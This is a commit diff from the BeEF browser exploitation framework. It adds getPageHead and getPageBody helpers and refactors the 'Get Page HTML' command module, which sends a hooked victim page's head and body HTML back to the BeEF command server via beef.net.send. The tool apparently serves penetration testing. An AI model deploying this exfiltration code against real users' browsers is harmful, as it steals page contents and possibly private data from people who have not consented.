Add beef.browser.getPageHead() and beef.browser.getPageBody()
Update 'Get Page HTML' module to use these functions Tested on IE6, FF22, C28 Fix issue #518
This commit is contained in:
@@ -1935,6 +1935,30 @@ beef.browser = {
|
||||
return foxitplugin;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the page head HTML
|
||||
**/
|
||||
getPageHead:function () {
|
||||
var html_head;
|
||||
try {
|
||||
html_head = document.head.innerHTML.toString();
|
||||
} catch (e) {
|
||||
}
|
||||
return html_head;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns the page body HTML
|
||||
**/
|
||||
getPageBody:function() {
|
||||
var html_body;
|
||||
try {
|
||||
html_body = document.body.innerHTML.toString();
|
||||
} catch (e) {
|
||||
}
|
||||
return html_body;
|
||||
},
|
||||
|
||||
/**
|
||||
* Dynamically changes the favicon: works in Firefox, Chrome and Opera
|
||||
**/
|
||||
|
||||
@@ -6,18 +6,7 @@
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
try {
|
||||
var html_head = document.head.innerHTML.toString();
|
||||
} catch (e) {
|
||||
var html_head = "Error: document has no head";
|
||||
}
|
||||
try {
|
||||
var html_body = document.body.innerHTML.toString();
|
||||
} catch (e) {
|
||||
var html_body = "Error: document has no body";
|
||||
}
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+beef.browser.getPageHead()+'&body='+beef.browser.getPageBody());
|
||||
|
||||
});
|
||||
|
||||
|
||||
Reference in New Issue
Block a user